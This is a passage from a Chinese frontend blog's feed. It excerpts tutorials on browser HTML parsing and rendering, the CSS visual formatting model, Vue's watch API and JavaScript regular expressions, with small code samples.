&lt;p&gt;分离解析和渲染的这种设计使得浏览器能够在解析 HTML 文档的同时将页面渲染到屏幕上，这样用户就能够更快地看到完整的页面了。&lt;/p&gt;
&lt;h4 id="212-宏观描述执行过程"&gt;2.1.2 宏观描述执行过程&lt;/h4&gt;
&lt;p&gt;补充了解析和渲染的概念，我们来看看浏览器具体是如何把其转换成页面上显示的内容的。其过程大致分为下图的四步。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-023/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;图1：浏览器解析和渲染HTML的过程&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步&lt;/strong&gt;：将载入的HTML文件解析成DOM树（DOM tree），并且将各个标记标识解析成DOM树的各个节点；在解析HTML的同时会将CSS样式解析成CSS规则（CSS rules）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步&lt;/strong&gt;：将解析成的DOM树和CSS规则进行关联生成渲染树（Render tree）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步&lt;/strong&gt;：进入布局阶段，为DOM树的每个节点分配在屏幕上出现的确切坐标（这一阶段还是渲染树）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四步&lt;/strong&gt;：进入绘制阶段，在这里渲染引擎的工作就结束了，接下来就给用户界面后端（UI Backend）对渲染树的每个节点进行绘制，呈现出页面效果。&lt;/p&gt;
&lt;h3 id="22-细化执行过程"&gt;2.2 细化执行过程&lt;/h3&gt;
&lt;h4 id="221-顺序执行"&gt;2.2.1 顺序执行&lt;/h4&gt;
&lt;p&gt;dom解析过程是从上向下，顺序执行的。顺序执行的意思是一行一行的执行，上一行执行完再执行下一行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;1&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;2&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;3&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 先1，再2，再3，按顺序解析。 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="222-渐进式"&gt;2.2.2 渐进式&lt;/h4&gt;
&lt;p&gt;浏览器是渐进式渲染，即边解析边渲染。通俗的说就是，这一行代码解析完，就可以在浏览器的页面渲染展示出来。因为浏览器的解析和渲染由两个不同线程来完成，所以可以实现边解析边渲染。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;1&lt;span style="color:#f92672"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;debugger&lt;span style="color:#f92672"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;2&lt;span style="color:#f92672"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;debugger&lt;span style="color:#f92672"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;3&lt;span style="color:#f92672"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- 先解析渲染出1，再debugger;再解析渲染出2，再debugger;最后解析渲染出3 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="23-问题cssjs会阻塞解析和渲染吗"&gt;2.3 问题：css、js会阻塞解析和渲染吗？&lt;/h3&gt;
&lt;p&gt;这部分内容可参考这篇掘金内容，内含测试代码：&lt;a href="https://juejin.cn/post/6973949865130885157#heading-0"&gt;关于 JS 与 CSS 是否阻塞 DOM 的渲染和解析 - 掘金&lt;/a&gt;&lt;/p&gt;</description></item><item><title>视觉格式化模型</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-023/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-023/</guid><description>&lt;p&gt;大部分 Web 开发者都知道 CSS 中有一个盒模型，但很少有人知道在 CSS 的世界中还有另一个模型，他就是 CSS 的视觉格式化模型。&lt;/p&gt;
&lt;p&gt;CSS 视觉格式化模型（英文称之&lt;strong&gt;Visual Formatting Model&lt;/strong&gt;）。该模型主要是用来处理在视觉媒体上显示文档时使用的计算规则。仅从这一句话来描述，估计很多同学都会感到困惑，视觉格式化模型到底是什么鬼？大家先不用急着知道视觉格式化模型是什么，只需要知道它是 CSS 中很重要的一部分，如果理解了该部分所涉及到的知识点，将有助于你更好的理解和学习 CSS，特别是 Web 布局&lt;/p&gt;
&lt;h2 id="什么是视觉格式化模型"&gt;&lt;strong&gt;什么是视觉格式化模型&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;在盒模型中我们了解到，在 CSS 的世界中，任何一个元素都是一个盒子，它具有一个专业术语，即&lt;strong&gt;盒模型&lt;/strong&gt;。而视觉格式化模型会根据 CSS 盒模型将文档中的元素转换为一个个盒子。看到这里，很多同学可能更会感到困惑，“&lt;strong&gt;任何元素都是一个盒子，视觉格式化模型将元素转换为盒子，那这盒子是不是都是一样的盒子呢&lt;/strong&gt;”？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;首先要声明一点：&lt;strong&gt;视觉格式化模型和CSS盒模型不是同一个东西&lt;/strong&gt;！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简单点说呢。Web 页面（文档树）是由很一个个盒子组成（因为任何元素都可以被视为是一个盒子），而&lt;strong&gt;视觉格式化模型&lt;/strong&gt;却是一套规则，用来计算&lt;strong&gt;元素转换为盒子&lt;/strong&gt;的规则。而页面的布局都由这些盒子的所处的各处位置组合而成。那么理解了元素怎么转成盒子的规则，就理解了 Web 页面是怎么布局。而每个盒子的布局主要由以下几个因素决定：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;盒子的尺寸&lt;/strong&gt;：精确指定、由约束条件指定或没有指定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;盒子的类型&lt;/strong&gt;：行内盒子（inline）、行内级盒子（inline-level）、原子行内级盒子（atomic inline-level）和块盒子（block）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位方案&lt;/strong&gt;：普通流定位、浮动定位或绝对定位&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文档树中的其它元素&lt;/strong&gt;：即当前盒子的子元素或兄弟元素&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;视窗尺寸与位置&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;所包含的图片的尺寸&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他的某些外部因素&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先来看一张图，这个图是由下面的 HTML 结构构造出来的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-HTML" data-lang="HTML"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;header&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;nav&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;nav&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;header&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;article&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;figure&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;figure&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;article&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;aside&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;aside&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-023/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;每个元素都是一个盒子，盒子中可以包含另一个或多个盒子。也正如上图所示，CSS 的视觉格式化模型会根据盒子的&lt;strong&gt;包含块&lt;/strong&gt;（Containing Block，即&lt;strong&gt;包含其他盒子的块&lt;/strong&gt;）的边界来渲染盒子。通常，盒子会创建一个包含其后代元素的包含块，但是盒子并不会被包含块限制住，盒子的布局会撑破包含块（即跑出包含块的边界），对于这种现象，在 CSS 中常被称为溢出。&lt;/p&gt;
&lt;p&gt;溢出是一个很有意思的东东，在 Web 布局中时常会碰到，但在这一章中不做方面的阐述。&lt;/p&gt;</description></item><item><title>watch与watchEffect</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-023/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-023/</guid><description>&lt;h2 id="watch"&gt;Watch&lt;/h2&gt;
&lt;h3 id="基本用法"&gt;基本用法&lt;/h3&gt;
&lt;p&gt;当我们需要在数据变化时执行一些“副作用”：如更改 DOM、执行异步操作，我们可以使用 &lt;code&gt;watch&lt;/code&gt; 函数：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;setup&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import { ref, watch } from &amp;#39;vue&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const question = ref(&amp;#39;&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const answer = ref(&amp;#39;This is answer. ;-)&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// 侦听一个 ref
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;watch(question, async (newQuestion, oldQuestion) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; answer.value = &amp;#39;Thinking...&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; const res = await fetch(&amp;#39;https://...&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; answer.value = (await res.json()).answer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v-model=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;question&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;{{ answer }}&lt;span style="color:#f92672"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;watch()&lt;/code&gt; 一共可以接受三个参数，侦听数据源、回调函数和配置选项。&lt;/p&gt;
&lt;h3 id="侦听数据源"&gt;侦听数据源&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;watch&lt;/code&gt; 的第一个参数可以是不同形式的“数据源”，它可以是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个 ref&lt;/li&gt;
&lt;li&gt;一个计算属性&lt;/li&gt;
&lt;li&gt;一个 getter 函数（有返回值的函数）&lt;/li&gt;
&lt;li&gt;一个响应式对象&lt;/li&gt;
&lt;li&gt;以上类型的值组成的数组&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;doubleX&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;computed&lt;/span&gt;(() =&amp;gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reactive&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;count&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 单个 ref
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`x is &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 计算属性
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;doubleX&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`doubleX is &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// getter 函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; () =&amp;gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#a6e22e"&gt;sum&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`sum of x + y is: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;sum&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 响应式对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;newValue&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;oldValue&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 在嵌套的属性变更时触发
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 注意：`newValue` 此处和 `oldValue` 是相等的
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 因为它们是同一个对象！
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 以上类型的值组成的数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;watch&lt;/span&gt;([&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;, () =&amp;gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;], ([&lt;span style="color:#a6e22e"&gt;newX&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;newY&lt;/span&gt;]) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`x is &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;newX&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt; and y is &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;newY&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意，你不能直接侦听响应式对象的属性值，例如:&lt;/p&gt;</description></item><item><title>正则表达式</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-023/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-023/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;正则表达式使用单个[字符串]来描述、匹配一系列匹配某个[句法规则]的字符串，通常被用来检索、替换那些符合某个模式（规则）的文本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="创建"&gt;创建&lt;/h2&gt;
&lt;h2 id="1构造函数创建"&gt;1.构造函数创建&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;new RegExp(&amp;lsquo;正则表达式&amp;rsquo;,&amp;lsquo;修饰符&amp;rsquo;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; RegExp(&lt;span style="color:#e6db74"&gt;&amp;#39;hello&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;igm&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2直接直面量创建"&gt;2.直接直面量创建&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;/正则表达式/修饰符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reg&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/hello/igm&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="字符分类"&gt;字符分类&lt;/h2&gt;
&lt;h2 id="1普通字符"&gt;1.普通字符&lt;/h2&gt;
&lt;blockquote&gt;
